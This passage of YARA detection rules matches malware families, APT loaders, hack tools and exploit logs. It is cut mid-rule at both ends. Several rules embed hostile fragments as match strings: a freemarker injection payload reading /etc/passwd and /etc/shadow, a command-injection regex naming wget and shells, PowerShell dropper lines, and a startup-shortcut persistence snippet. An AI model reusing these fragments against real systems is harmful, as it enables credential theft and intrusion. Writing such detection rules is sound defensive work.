		hash = "5d1e3c495d08982459b4bd4fd2ab073ed2078fce9347627718a7c25adee152e9"
		hash = "458702ae1b2ef8a113344be76af185ee137b7aac3646ece626d2eeeadcc9e003"
		hash = "2c703e562a6266175379fa48f06f58aab109dbe56e0cde24b4b0db5f22f810a3"
		hash = "49faf70c0978c21a68bc8395cf326f50c491e379f55b5df7d17f0af953861ece"
		hash = "a2b16bbef0a7cb545597828466cd13225efaba6e7006bfbf59040bbff54c463c"
		hash = "b08449d42f140c7e4d070c5f81ce7509f48282a5bb0e06948b7ed65053696a37"
		hash = "c1633ad8c9e6c2b4cc23578655fc6cf5cd0122cfd24395d1551af1d092f89db2"
		hash = "01f42f949a37d9d479b8021f27dcf0d0e6f0b0b6cd2e0883c6b4b494f0a1d32a"
		hash = "4943d53a38ac123ed7c04ad44742a67ea06bb54ea02fa241d9c4ebadab4cb99a"
		hash = "597ce12c9fbecc71299ba6fc3e4df36cc49222878d0e080c4c35bbfdffd30083"
		hash = "0265fbd9cfc27c26c42374fce7cf0ef11f38e086308d51648b45f040d767c51d"
		hash = "0dc92a1a6fd27144b3e35a9900038653892d25c2db8ede8b9e0aee04839f165a"
		hash = "682582c324cb1eafacf80090f6108c1580fee12dbfdfe8b51771d429fdcce718"
		hash = "e9e6f6e22b5924f80164fbad45be28299e9ec0bd2f404551b6ca772509a7135a"
		hash = "a8db750f82906fb9cf9fb371ec65be76275d9b81b95e351fcb3db4ef345884ab"
		hash = "e900b4016177259d07011139a55c0571c1e824fb7e9dddc11df493b3c8209173"
		hash = "f8a7a26d51a5e938325deee86cbf5aa8263d3a50818c15d5a395b98658630c18"
		hash = "861b87fc6c4758cfe1e26c7a038cffb64054ad633b7ea81319c9a98b7b49df0d"
		hash = "848fdb491307ed7b002dbdf99796df2b286d53b2e0066d78f3554f2f38a2c438"
		hash = "4b0c05bc33c9e7d0ed2d97dbefb6292469b9d74d650d5cfb2691345a11c0f54a"
		hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
		hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
		hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
		hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
		hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
		hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
		hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
		hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
		hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
		hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
		hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
		hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
		hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
		id = "13151f9b-22cb-551f-81b4-a60a301f0bfc"

	strings:
		$cert1 = "91210242MA0YGH36" wide ascii
		$cert2 = "Copyright (C) 2013-2021 QuickZip. All rights reserved." wide ascii
		$cert3 = "Qi Lijun" wide ascii
		$cert4 = {51 00 69 00 20 00 4c 00 69 00 6a 00 75 00 6e}
		$cert5 = "Luck Bigger Technology Co., Ltd" wide ascii
		$cert6 = {4c 00 75 00 63 00 6b 00 20 00 42 00 69 00 67 00 67 00 65 00 72 00 20 00 54 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 20 00 43 00 6f 00 2e 00 2c 00 20 00 4c 00 74 00 64 }
		$cert7 = "XinSing Network Service Co., Ltd" wide ascii
		$cert8 = "Hangzhou Shunwang Technology Co.,Ltd" wide ascii
		$cert9 = "Zhuhai liancheng Technology Co., Ltd." wide ascii
		$cert10 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
		$cert11 = { e5 8c 97 e4 ba ac e5 bc 98 e9 81 93 e9 95 bf e5 85 b4 e5 9b bd e9 99 85 e8 b4 b8 e6 98 93 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
		$cert12 = { e7 a6 8f e5 bb ba e5 a5 a5 e5 88 9b e4 ba 92 e5 a8 b1 e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
		$cert13 = { e5 8e a6 e9 97 a8 e6 81 92 e4 bf a1 e5 8d 93 e8 b6 8a e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 0a }
		$cert14 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 20MB and any of ( $cert* )
}

rule APT_CryWiper_Dec22
{
	meta:
		description = "Detects CryWiper malware samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist-ru.translate.goog/novyj-troyanec-crywiper/106114/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en"
		date = "2022-12-05"
		score = 75
		id = "d56ccf4e-30ba-5308-ad68-ffc2ae5a1718"

	strings:
		$x1 = "Software\\Sysinternals\\BrowserUpdate"
		$sx1 = "taskkill.exe /f /im MSExchange*"
		$s1 = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server" ascii
		$s2 = "fDenyTSConnections" ascii

	condition:
		1 of ( $x* ) or all of ( $s* )
}

rule CHAOS_Payload
{
	meta:
		description = "Detects a CHAOS back connect payload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/tiagorlampert/CHAOS"
		date = "2017-07-15"
		score = 80
		hash1 = "0962fcfcb1b52df148720c2112b036e75755f09279e3ebfce1636739af9b4448"
		hash2 = "5c3553345f824b7b6de09ccb67d834e428b8df17443d98816471ca28f5a11424"
		id = "5057bc68-9bf8-54b4-88a1-d0c0cba62fa0"

	strings:
		$x1 = { 2F 43 48 41 4F 53 00 02 73 79 6E 63 2F 61 74 6F 6D 69 63 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and all of them )
}

rule Persistence_Agent_MacOS
{
	meta:
		description = "Detects a Python agent that establishes persistence on macOS"
		author = "John Lambert @JohnLaTwC"
		reference = "https://ghostbin.com/paste/mz5nf"
		hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
		id = "9c69af3c-ee85-58ac-8b78-66760addc117"

	strings:
		$h1 = "#!/usr/bin/env python"
		$s_1 = "<plist" ascii fullword
		$s_2 = "ProgramArguments" ascii fullword
		$s_3 = "Library" ascii fullword
		$sinterval_1 = "StartInterval" ascii fullword
		$sinterval_2 = "RunAtLoad" ascii fullword
		$e_1 = /(AHAAbABpAHMAdA|cGxpc3|PABwAGwAaQBzAHQA|PHBsaXN0|wAcABsAGkAcwB0A|xwbGlzd)/ ascii
		$e_2 = /(AAcgBvAGcAcgBhAG0AQQByAGcAdQBtAGUAbgB0AHMA|AHIAbwBnAHIAYQBtAEEAcgBnAHUAbQBlAG4AdABzA|Byb2dyYW1Bcmd1bWVudH|cm9ncmFtQXJndW1lbnRz|UAByAG8AZwByAGEAbQBBAHIAZwB1AG0AZQBuAHQAcw|UHJvZ3JhbUFyZ3VtZW50c)/ ascii
		$e_4 = /(AGkAYgByAGEAcgB5A|aWJyYXJ5|TABpAGIAcgBhAHIAeQ|TGlicmFye|wAaQBiAHIAYQByAHkA|xpYnJhcn)/ ascii
		$einterval_a = /(AHQAYQByAHQASQBuAHQAZQByAHYAYQBsA|dGFydEludGVydmFs|MAdABhAHIAdABJAG4AdABlAHIAdgBhAGwA|N0YXJ0SW50ZXJ2YW|U3RhcnRJbnRlcnZhb|UwB0AGEAcgB0AEkAbgB0AGUAcgB2AGEAbA)/ ascii
		$einterval_b = /(AHUAbgBBAHQATABvAGEAZA|dW5BdExvYW|IAdQBuAEEAdABMAG8AYQBkA|J1bkF0TG9hZ|UgB1AG4AQQB0AEwAbwBhAGQA|UnVuQXRMb2Fk)/ ascii

	condition:
		uint32( 0 ) == 0x752f2123 and $h1 at 0 and filesize < 120KB and ( ( all of ( $s_* ) and 1 of ( $sinterval* ) ) or ( all of ( $e_* ) and 1 of ( $einterval* ) ) )
}

rule WoolenGoldfish_Sample_1
{
	meta:
		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/NpJpVZ"
		date = "2015/03/25"
		score = 60
		hash = "7ad0eb113bc575363a058f4bf21dbab8c8f7073a"
		id = "923de51a-8422-5318-95f5-79613d2d642e"

	strings:
		$s1 = "Cannot execute (%d)" fullword ascii
		$s16 = "SvcName" fullword ascii

	condition:
		all of them
}

rule WoolenGoldfish_Generic_1
{
	meta:
		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/NpJpVZ"
		date = "2015/03/25"
		score = 90
		super_rule = 1
		hash0 = "5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3"
		hash1 = "d5b2b30fe2d4759c199e3659d561a50f88a7fb2e"
		hash2 = "a42f1ad2360833baedd2d5f59354c4fc3820c475"
		id = "351f5ee5-c0ec-51b6-9953-2b64e3e74b09"

	strings:
		$x0 = "Users\\Wool3n.H4t\\"
		$x1 = "C-CPP\\CWoolger"
		$x2 = "NTSuser.exe" fullword wide
		$s1 = "107.6.181.116" fullword wide
		$s2 = "oShellLink.Hotkey = \"CTRL+SHIFT+F\"" fullword
		$s3 = "set WshShell = WScript.CreateObject(\"WScript.Shell\")" fullword
		$s4 = "oShellLink.IconLocation = \"notepad.exe, 0\"" fullword
		$s5 = "set oShellLink = WshShell.CreateShortcut(strSTUP & \"\\WinDefender.lnk\")" fullword
		$s6 = "wlg.dat" fullword
		$s7 = "woolger" fullword wide
		$s8 = "[Enter]" fullword
		$s9 = "[Control]" fullword

	condition:
		(1 of ( $x* ) and 2 of ( $s* ) ) or ( 6 of ( $s* ) )
}

rule WoolenGoldfish_Generic_2
{
	meta:
		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/NpJpVZ"
		date = "2015/03/25"
		score = 90
		hash1 = "47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f"
		hash2 = "62172eee1a4591bde2658175dd5b8652d5aead2a"
		hash3 = "7fef48e1303e40110798dfec929ad88f1ad4fbd8"
		hash4 = "c1edf6e3a271cf06030cc46cbd90074488c05564"
		id = "930b928f-ff32-56b2-9e3c-dd80036ff7ef"

	strings:
		$s0 = "modules\\exploits\\littletools\\agent_wrapper\\release" ascii

	condition:
		all of them
}

rule WoolenGoldfish_Generic_3
{
	meta:
		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/NpJpVZ"
		date = "2015/03/25"
		score = 90
		hash1 = "86222ef166474e53f1eb6d7e6701713834e6fee7"
		hash2 = "e8dbcde49c7f760165ebb0cb3452e4f1c24981f5"
		id = "5c227d24-624c-5fb5-a2ea-a971fda8bfba"

	strings:
		$x1 = "... get header FATAL ERROR !!!  %d bytes read > header_size" fullword ascii
		$x2 = "index.php?c=%S&r=%x&u=1&t=%S" fullword wide
		$x3 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
		$s0 = "kernel32.dll GetProcAddressLoadLibraryAws2_32.dll" fullword ascii
		$s1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
		$s2 = "Attempting to unlock uninitialized lock!" fullword ascii
		$s4 = "unable to load kernel32.dll" fullword ascii
		$s5 = "index.php?c=%S&r=%x" fullword wide
		$s6 = "%s len:%d " fullword ascii
		$s7 = "Encountered error sending syscall response to client" fullword ascii
		$s9 = "/info.dat" fullword ascii
		$s10 = "Error entering thread lock" fullword ascii
		$s11 = "Error exiting thread lock" fullword ascii
		$s12 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii

	condition:
		(1 of ( $x* ) ) or ( 8 of ( $s* ) )
}

rule EXPL_LOG_Cacti_CommandInjection_CVE_2022_46169_Dec22_1
{
	meta:
		description = "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169"
		author = "Nasreddine Bencherchali"
		score = 70
		reference = "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf"
		date = "2022-12-27"
		id = "c799a419-87ed-55ea-8ebb-d4da901be4ad"

	strings:
		$xr1 = /\/remote_agent\.php.{1,300}(whoami|\/bin\/bash|\/bin\/sh|\bwget\b|powershell|cmd \/c|cmd\.exe \/c).{1,300} 200 / ascii

	condition:
		$xr1
}

rule PowerShdll
{
	meta:
		description = "Detects hack tool PowerShdll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/p3nt4/PowerShdll"
		date = "2017-08-03"
		hash1 = "4d33bc7cfa79d7eefc5f7a99f1b052afdb84895a411d7c30045498fd4303898a"
		hash2 = "f999db9cc3a0719c19f35f0e760f4ce3377b31b756d8cd91bb8270acecd7be7d"
		id = "cc0e01ca-77f0-5665-8b1e-48c8e947d0d3"

	strings:
		$x1 = "rundll32 PowerShdll,main -f <path>" fullword wide
		$x2 = "\\PowerShdll.dll" ascii
		$x3 = "rundll32 PowerShdll,main <script>" fullword wide

	condition:
		1 of them
}

private rule PrikormkaDropper
{
	strings:
		$kd1 = "KDSTORAGE" wide
		$kd2 = "KDSTORAGE_64" wide
		$kd3 = "KDRUNDRV32" wide
		$kd4 = "KDRAR" wide
		$bin1 = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
		$bin2 = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
		$bin3 = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
		$inj1 = "?AVCinj2008Dlg@@" ascii
		$inj2 = "?AVCinj2008App@@" ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( ( any of ( $bin* ) ) or ( 3 of ( $kd* ) ) or ( all of ( $inj* ) ) )
}

private rule PrikormkaModule
{
	strings:
		$str1 = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
		$str2 = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
		$str3 = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
		$str4 = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
		$str5 = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
		$str6 = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
		$str7 = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
		$str8 = {50 52 55 5C 17 51 58 17 5E 4A}
		$str9 = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
		$str10 = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
		$str11 = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
		$str12 = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
		$str13 = "ZxWinDeffContex" ascii wide
		$str14 = "Paramore756Contex43" wide
		$str15 = "Zw_&one@ldrContext43" wide
		$str16 = "A95BL765MNG2GPRS"
		$str17 = "helpldr.dll" wide fullword
		$str18 = "swma.dll" wide fullword
		$str19 = "iomus.dll" wide fullword
		$str20 = "atiml.dll" wide fullword
		$str21 = "hlpuctf.dll" wide fullword
		$str22 = "hauthuid.dll" ascii wide fullword
		$str23 = "[roboconid][%s]" ascii fullword
		$str24 = "[objectset][%s]" ascii fullword
		$str25 = "rbcon.ini" wide fullword
		$str26 = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
		$str27 = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
		$str28 = ":\\!PROJECTS!\\Mina\\2015\\" ascii
		$str29 = "\\PZZ\\RMO\\" ascii
		$str30 = ":\\work\\PZZ" ascii
		$str31 = "C:\\Users\\mlk\\" ascii
		$str32 = ":\\W o r k S p a c e\\" ascii
		$str33 = "D:\\My\\Projects_All\\2015\\" ascii
		$str34 = "\\TOOLS PZZ\\Bezzahod\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( any of ( $str* ) )
}

private rule PrikormkaEarlyVersion
{
	strings:
		$str1 = "IntelRestore" ascii fullword
		$str2 = "Resent" wide fullword
		$str3 = "ocp8.1" wide fullword
		$str4 = "rsfvxd.dat" ascii fullword
		$str5 = "tsb386.dat" ascii fullword
		$str6 = "frmmlg.dat" ascii fullword
		$str7 = "smdhost.dll" ascii fullword
		$str8 = "KDLLCFX" wide fullword
		$str9 = "KDLLRUNDRV" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $str* ) )
}

rule MAL_Sharpshooter_Excel4
{
	meta:
		description = "Detects Excel documents weaponized with Sharpshooter"
		author = "John Lambert, Florian Roth"
		reference = "https://github.com/mdsecactivebreach/SharpShooter"
		reference2 = "https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/"
		reference3 = "https://gist.github.com/JohnLaTwC/efab89650d6fcbb37a4221e4c282614c"
		reference4 = "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-xls/00b5dd7d-51ca-4938-b7b7-483fe0e5933b"
		date = "2020-03-27"
		score = 70
		hash = "ccef64586d25ffcb2b28affc1f64319b936175c4911e7841a0e28ee6d6d4a02d"
		id = "a79e3afe-e8f9-5e56-a131-bb1b346df471"

	strings:
		$header_docf = { D0 CF 11 E0 }
		$s1 = "Excel 4.0 Macros"
		$f1 = "CreateThread" ascii fullword
		$f2 = "WriteProcessMemory" ascii fullword
		$f3 = "Kernel32" ascii fullword
		$concat = { 00 41 6f 00 08 1e ?? 00 41 6f 00 08 1e ?? 00 41 6f 00 08}

	condition:
		filesize < 1000KB and $header_docf at 0 and #concat > 10 and $s1 and 2 of ( $f* )
}

rule SUSP_Excel4Macro_AutoOpen
{
	meta:
		description = "Detects Excel4 macro use with auto open / close"
		author = "John Lambert @JohnLaTwC"
		date = "2020-03-26"
		score = 50
		hash = "2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f"
		id = "cfed97fe-b330-5528-8402-08c6ba6af04a"

	strings:
		$header_docf = { D0 CF 11 E0 }
		$s1 = "Excel" fullword
		$Auto_Open = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
		$Auto_Close = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
		$Auto_Open1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
		$Auto_Close1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }

	condition:
		filesize < 3000KB and $header_docf at 0 and $s1 and any of ( $Auto_* )
}

rule SVG_LoadURL
{
	meta:
		description = "Detects a tiny SVG file that loads an URL (as seen in CryptoWall malware infections)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/psjCCc"
		date = "2015-05-24"
		hash1 = "ac8ef9df208f624be9c7e7804de55318"
		hash2 = "3b9e67a38569ebe8202ac90ad60c52e0"
		hash3 = "7e2be5cc785ef7711282cea8980b9fee"
		hash4 = "4e2c6f6b3907ec882596024e55c2b58b"
		score = 50
		id = "c3d4c95f-ef8b-52ff-9cf9-d66d9b99a490"

	strings:
		$s1 = "</svg>" nocase
		$s2 = "<script>" nocase
		$s3 = "location.href='http" nocase

	condition:
		all of ( $s* ) and filesize < 600
}

rule CVE_2015_1674_CNGSYS
{
	meta:
		description = "Detects exploits for CVE-2015-1674"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.binvul.com/viewthread.php?tid=508"
		date = "2015-05-14"
		hash = "af4eb2a275f6bbc2bfeef656642ede9ce04fad36"
		id = "1161b395-a19e-5aac-8416-8a4e60aeca37"

	strings:
		$s1 = "\\Device\\CNG" wide
		$s2 = "GetProcAddress" fullword ascii
		$s3 = "LoadLibrary" ascii
		$s4 = "KERNEL32.dll" fullword ascii
		$s5 = "ntdll.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule Powerkatz_DLL_Generic
{
	meta:
		description = "Detects Powerkatz - a Mimikatz version prepared to run in memory via Powershell (overlap with other Mimikatz versions is possible)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "PowerKatz Analysis"
		date = "2016-02-05"
		super_rule = 1
		score = 80
		hash1 = "c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae"
		hash2 = "1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0"
		hash3 = "49e7bac7e0db87bf3f0185e9cf51f2539dbc11384fefced465230c4e5bce0872"
		id = "7464f8a1-9f45-580b-8a97-a57071092e3c"

	strings:
		$s1 = "%3u - Directory '%s' (*.kirbi)" fullword wide
		$s2 = "%*s  pPublicKey         : " fullword wide
		$s4 = "<3 eo.oe ~ ANSSI E>" fullword wide
		$s5 = "\\*.kirbi" wide
		$c1 = "kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" fullword wide
		$c2 = "kuhl_m_lsadump_getComputerAndSyskey ; kuhl_m_lsadump_getSyskey KO" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them ) or 2 of them
}

rule LOG_ProxyNotShell_POC_CVE_2022_41040_Nov22
{
	meta:
		description = "Detects logs generated after a successful exploitation using the PoC code against CVE-2022-41040 and CVE-2022-41082 (aka ProxyNotShell) in Microsoft Exchange servers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/testanull/ProxyNotShell-PoC"
		date = "2022-11-17"
		score = 70
		id = "1e47d124-3103-5bf5-946f-b1bb69ff2c8e"

	strings:
		$aa1 = " POST " ascii wide
		$aa2 = " GET " ascii wide
		$ab1 = " 200 " ascii wide
		$s01 = "/autodiscover.json x=a" ascii wide
		$s02 = "/autodiscover/admin@localhost/" ascii wide

	condition:
		1 of ( $aa* ) and $ab1 and 1 of ( $s* )
}

rule SUSP_EXPL_POC_VMWare_Workspace_ONE_CVE_2022_22954_Apr22
{
	meta:
		old_rule_name = "EXPL_POC_VMWare_Workspace_ONE_CVE_2022_22954_Apr22"
		description = "Detects payload as seen in PoC code to exploit Workspace ONE Access freemarker server-side template injection CVE-2022-22954"
		author = "Florian Roth"
		reference = "https://github.com/sherlocksecurity/VMware-CVE-2022-22954"
		reference2 = "https://twitter.com/rwincey/status/1512241638994853891/photo/1"
		date = "2022-04-08"
		modified = "2023-04-28"
		score = 70
		id = "b7b7cefb-96f5-53f9-b6fc-6e798f557c5d"

	strings:
		$x1 = "66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28" ascii
		$x2 = "${\"freemarker.template.utility.Execute\"?new()("
		$x3 = "cat /etc/passwd\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
		$x4 = "cat /etc/passwd\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
		$x5 = "cat /etc/shadow\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
		$x6 = "cat /etc/shadow\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"

	condition:
		1 of them
}

rule MAL_RANSOM_Stealbit_Aug21
{
	meta:
		description = "Detects Stealbit used by Lockbit 2.0 Ransomware Gang"
		author = "Frank Boldewin (@r3c0nst)"
		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Lockbit2.Stealbit.yar"
		date = "2021-08-12"
		hash1 = "3407f26b3d69f1dfce76782fee1256274cf92f744c65aa1ff2d3eaaaf61b0b1d"
		hash2 = "bd14872dd9fdead89fc074fdc5832caea4ceac02983ec41f814278130b3f943e"
		id = "07b466cb-92b3-51f2-a702-2930bb7038c6"

	strings:
		$C2Decryption = {33 C9 8B C1 83 E0 0F 8A 80 ?? ?? ?? ?? 30 81 ?? ?? ?? ?? 41 83 F9 7C 72 E9 E8}

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and $C2Decryption
}

rule MSIL_SUSP_OBFUSC_XorStringsNet
{
	meta:
		description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
		author = "dr4k0nia"
		version = "1.0"
		reference = "https://github.com/dr4k0nia/yara-rules"
		score = 75
		date = "26/03/2023"
		id = "f0724ca6-4bfe-5b88-9396-a58aa7461fd6"

	strings:
		$pattern = { 06 1E 58 07 8E 69 FE 17 }
		$a1 = "_CorDllMain" ascii
		$a2 = "_CorExeMain" ascii
		$a3 = "mscorlib" ascii fullword
		$a4 = ".cctor" ascii fullword
		$a5 = "System.Private.Corlib" ascii
		$a6 = "<Module>" ascii fullword
		$a7 = "<PrivateImplementationsDetails{" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25MB and $pattern and 2 of ( $a* )
}

rule Payload_Exe2Hex
{
	meta:
		description = "Detects payload generated by exe2hex"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/g0tmi1k/exe2hex"
		date = "2016-01-15"
		score = 70
		id = "c29e4937-cc6a-5265-a3b9-1018228dc956"

	strings:
		$a1 = "set /p \"=4d5a" ascii
		$a2 = "powershell -Command \"$hex=" ascii
		$b1 = "set+%2Fp+%22%3D4d5" ascii
		$b2 = "powershell+-Command+%22%24hex" ascii
		$c1 = "echo 4d 5a " ascii
		$c2 = "echo r cx >>" ascii
		$d1 = "echo+4d+5a+" ascii
		$d2 = "echo+r+cx+%3E%3E" ascii

	condition:
		all of ( $a* ) or all of ( $b* ) or all of ( $c* ) or all of ( $d* )
}

import "pe"

rule MAL_CrypRAT_Jan19_1
{
	meta:
		description = "Detects CrypRAT"
		author = "Florian Roth (Nextron Systems)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "Internal Research"
		score = 90
		date = "2019-01-07"
		id = "f3063a16-8813-5d6c-9807-6a0725907fb5"

	strings:
		$x1 = "Cryp_RAT" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "2524e5e9fe04d7bfe5efb3a5e400fe4b" or 1 of them )
}

import "pe"

rule APT_RU_APT27_HyperBro_Vftrace_Loader_Jan22_1
{
	meta:
		description = "Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll. Detects decoding function."
		author = "Bundesamt fuer Verfassungsschutz (modified by Florian Roth)"
		date = "2022-01-14"
		sharing = "TLP:WHITE"
		reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
		hash1 = "333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A"
		id = "b049e163-2694-5fb9-a3a3-98cc77bcd0ca"

	strings:
		$decoder_routine = { 8A ?? 41 10 00 00 8B ?? 28 ?? ?? 4? 3B ?? 72 ?? }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5MB and $decoder_routine and pe.exports ( "D_C_Support_SetD_File" )
}

import "pe"

rule APT_CN_APT27_Compromised_Certficate_Jan22_1
{
	meta:
		description = "Detects compromised certifcates used by APT27 malware"
		author = "Florian Roth (Nextron Systems)"
		date = "2022-01-29"
		score = 80
		reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
		id = "f2f015af-219d-51ab-9529-01687a879ebb"

	condition:
